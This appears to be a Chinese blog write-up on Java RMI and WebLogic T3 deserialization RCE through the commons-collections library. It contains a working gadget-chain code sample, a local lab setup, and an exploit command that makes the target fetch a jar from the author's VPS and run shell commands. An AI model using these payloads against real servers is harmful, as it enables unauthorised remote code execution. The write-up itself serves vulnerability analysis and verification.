JAVA RMI 反序列化远程命令执行漏洞
漏洞资料
Java RMI远程反序列化任意类及远程代码执行解析(CVE-2017-3241 )
【技术分享】Java RMI 反序列化漏洞检测工具的编写
Java反序列化漏洞被忽略的大规模杀伤利用
java RMI相关反序列化漏洞整合分析
commons-collections中Java反序列化漏洞导致的RCE原理分析
背景
之前在某个项目的漏洞核查中,发现客户的某个服务器存在JAVA RMI反序列化远程命令执行漏洞,当时手头没有相应的利用工具,就在网上找了一个广为使用的ysoserial利用工具【Download】。但是使用过程中发现,这个工具不具有回显功能,用户服务器又是处于内网环境而且是windows机器,所以使用这个工具无法验证该漏洞是否存在。
另外,在其他项目中也发现,一些安装了weblogic中间件的服务器,如果在weblogic服务中启用了T3协议,且存在有缺陷的第三方库apache commons-collections,从而也存在反序列化引起的RCE漏洞(CVE-2015-4852)。
然后我决定对这个工具进行修改,在研究过程中,发现这个漏洞并不简单,从ysoserial这个工具的payload就可以看出来,虽然漏洞名称都是JAVA RMI反序列化漏洞,但是成因却不尽相同。
本文将对关于该漏洞的资料进行整合和分析,以及通过一些本地环境的搭建对漏洞进行复现,特别是针对常见的apache commons-collections第三方库存在的漏洞进行原因分析。
结尾有福利。
原理
RMI是REMOTE METHOD INVOCATION的简称,是J2SE的一部分,能够让程序员开发出基于JAVA的分布式应用。一个RMI对象是一个远程JAVA对象,可以从另一个JAVA虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地JAVA对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。
对于任何一个以对象为参数的RMI接口,你都可以发一个自己构建的对象,迫使服务器端将这个对象按任何一个存在于class path中的可序列化类来反序列化。
RMI的传输100%基于反序列化。
首先,该漏洞存在需要两个条件:1.存在反序列化传输。2.存在有缺陷的第三方库如commons-collections
在《Java RMI远程反序列化任意类及远程代码执行解析(CVE-2017-3241 )》一文中,提到需要在服务器端的类路径中,存在一个名称公开已知的类,这个类需要实现java的Serializable接口,而且自己实现了一个readObject方法。显然,类似apache的commons-collections这样的第三方库的代码是开源的,我们很容易可以知道一个满足上述条件的类名。但是,这篇文章所描述的漏洞比我们所要讨论的范围更加广,是针对任意类的反序列化和RCE漏洞,而且漏洞成因不通,CVE-2017-3241漏洞出现的原因是java本身的原因(sun.rmi.server.UnicastRef类中),而我们所要研究的漏洞是第三方库有缺陷所造成的。
以commons-collections第三方库为例:
Both versions 3.2.1 and 4.0 of the Apache Commons Collections library have been identified as being vulnerable to this deserialization issue.
下载commons-collections的3.2.1版本源码进行研究【Download】,在InvokerTransformer类中(位于commons-collections-3.2.1-src\src\java\org\apache\commons\collections\functors),可以使用其中的transform方法通过反射执行参数对象中的某个方法。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
@SuppressWarnings({"rawtypes", "unchecked"})
public class test {
public static void main(String[] args) {
Transformer transform = new InvokerTransformer("append",
new Class[]{String.class},
new Object[]{"exploitcat?"});
Object newObject = transform.transform(new StringBuffer("your name is ")) ;
System.out.println(newObject);
}
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
在上述代码中,首先实例化了一个Transformer对象transform,InvokerTransformer类的构造函数如下:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)
{
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
第一个参数append是方法名,第二个参数是参数类型,第三个参数是参数值。然后我们调用transform对象的transform方法,
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
这样,相当于我们执行了
StringBuilder a=new StringBuilder("your name is ");
a.append("exploitcat?");
- 1
- 2
输出为 your name is exploitcat?
这样,我们就需要commons-collections中存在一个调用了InvokerTransformer的transform方法的类,它就是TransformerMap。这个文件位于commons-collections-3.2.1-src\src\java\org\apache\commons\collections\map中,在该类中,实现了Serializable接口,有自己的readObject方法:
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
map = (Map) in.readObject();
}
- 1
- 2
- 3
- 4
另外,这个类中存在一个静态的方法decorate:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
- 1
- 2
- 3
这个方法返回一个TransformerMap对象:
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
- 1
- 2
- 3
- 4
- 5
利用一段示例代码来演示如何使用TransformerMap类来执行命令:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.Map;
import java.util.HashMap;
public class TransformTest {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"})
};
Transformer chain = new ChainedTransformer(transformers) ;
Map innerMap = new HashMap() ;
innerMap.put("name", "hello") ;
Map outerMap = TransformedMap.decorate(innerMap, null, chain) ;
Map.Entry elEntry = (java.util.Map.Entry)outerMap.entrySet().iterator().next() ;
elEntry.setValue("hello") ;
}
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
首先,实例化一个Transformer数组,这个数组把我们要执行的代码分散到多个Transformer对象中,实际上就相当于:
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
- 1
- 2
- 3
- 4
- 5
- 6
然后把Transformer数组组合成为一个ChainedTransformer对象:
Transformer chain = new ChainedTransformer(transformers) ;
- 1
然后用TransformerMap的decorate函数来包装一个原生的Map对象innerMap:
Map outerMap = TransformedMap.decorate(innerMap, null, chain) ;
- 1
在这行代码:elEntry.setValue("hello") ;
中,首先执行outerMap的setValue方法,这个方法继承自MapEngry类(位于commons-collections-3.2.1-src\src\java\org\apache\commons\collections\map\AbstractInputCheckedMapDecorator.java),将会调用父类的方法:
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
- 1
- 2
- 3
- 4
然后调用将调用TransformerMap中的checkSetValue方法:
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
- 1
- 2
- 3
可以看到,在这里调用了transform方法来触发我们的代码。
如果运行这个程序,将会弹出计算器:
Payload构造
关于Payload的构造,可以参考ysoserial的源码,也可以参考http://pan.baidu.com/s/1c2szKBI网盘中的代码。但是,通过这种方式进行攻击测试,在我搭建的环境下出现了一个问题:
经过排查,我发现问题出现在源码中的65行:innerMap.put("value", "value");
,如果传入的两个参数的值不是value,那么会出现上述错误,我也没看懂出现这个问题的原因是什么。
搭建本地测试环境
开启包含第三方库的RMI服务
在我刚开始测试的过程中,如何写一个简单的服务端和客户端验证RMI服务成功开启都摸索了好几天,只能怪自己java水平太低。
首先,使用eclipse新建一个java项目:
命名为JavaRMI,注意选择JRE为1.6,因为貌似在1.8版本的JRE中该漏洞被修复了。
在项目属性中建立一个lib:
再将Apache commons-collections-3.2.jar添加到lib中:
新建一个ServerI.java接口文件:
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface ServerI extends Remote
{
public String action(String arg)throws RemoteException;
}
- 1
- 2
- 3
- 4
- 5
- 6
新建一个ServerImp.java文件:
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class ServerImp extends UnicastRemoteObject implements ServerI {
protected ServerImp() throws RemoteException {
super();
}
@Override
public String action(String arg) {
System.out.println(arg);
return arg;
}
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
新建一个Run.java文件:
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class Run {
public static void main(String[] args) {
try {
ServerI server = new ServerImp();
int port=Integer.parseInt(args[0]);
String registry_name=args[1];
Registry registry = LocateRegistry.createRegistry(port);
registry.rebind(registry_name, server);
System.out.println("Service Start!\n");
} catch (Exception e) {
e.printStackTrace();
}
}
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
配置好Build configure,将Run.java导出为可执行的jar文件,注意将第三方库也打包进来:
生成jar包后,将其复制到虚拟机中(我使用的安装了java1.6的kali),这个时候不能直接运行,而是要配置/etc/hosts文件,因为在客户端请求rmi服务端时,首先返回的是localhost,一般情况下linux默认localhost不是外网地址而是127.0.1.1,需要将其改为外网地址:
我将kali下的/etc/hosts文件中的kali一项修改为外网地址。然后运行:java -jar rmiserver.jar 6600 rmi
,参数6600是端口号,rmi是服务名称。
可以看到:
说明rmi服务启动成功。
测试RMI客户端
在eclipse下刚才的项目中,新建一个Client.java文件:
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Client
{
public static void main(String[] args) throws Exception
{
String ip=args[0];
int port=Integer.parseInt(args[1]);
String registry_name=args[2];
String msg=args[3];
Registry registry=LocateRegistry.getRegistry(ip,port);
ServerI business=(ServerI)registry.lookup(registry_name);
business.action(msg);
}
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
同样,生成可执行的jar文件,注意要配置新的Build Configure。
然后,在本机运行java -jar ./rmiclient.jar 192.168.31.25 6600 rmi MESSAGE
服务器端将显示MESSAGE字样
这样,RMI服务测试环境就搭好了。
攻击测试
利用攻击测试文件,其中的ErrorBaseExec.jar【Download】是一个自定义的可以执行回显的jar文件,将它放置到VPS上使得其可以通过http访问。
命令行下执行java -jar ./RMIexploit.jar 192.168.31.25 6600 http://*.*.*.*/ErrorBaseExec.jar "ifconfig"
回显成功。
升级版攻击
利用上述方式进行攻击的缺点在于,如果要攻击的对象位于内网,那么就无法加载ErrorBaseExec.jar文件。因此,【技术分享】Java RMI 反序列化漏洞检测工具的编写一文中提出了将ErrorBaseExec.class文件直接写入到目标机器中,从而完成调用。具体技术细节可以对该工具【Download】进行反编译查看源码获知。
Weblogic Commons-Collections反序列化RCE漏洞(CVE-2015-4852)
在之前的某个项目中,遇到客户的服务器通过Nmap扫描的时候发现,在web端口上存在T3 Enabled字样,表示该服务器允许T3协议,至于T3协议的详细信息可以参考:http://blog.csdn.net/cymm_liu/article/details/36011725和http://www.xuebuyuan.com/2218893.html。
其实当weblogic使用RMI服务时,web端口就是RMI服务端口,同时使用了丰富套接字T3协议。那么如果weblogic包含了有缺陷的第三方库(其实下面这些版本就包含了Apache Commons Collections库),也可以触发该漏洞。
关于该漏洞的具体信息,参考【Java反序列化漏洞之weblogic本地利用实现篇】
这个漏洞影响了Oracle WebLogic Server, 10.3.6.0, 12.1.2.0, 12.1.3.0, 12.2.1.0 版本。
再放一发工具【Download】。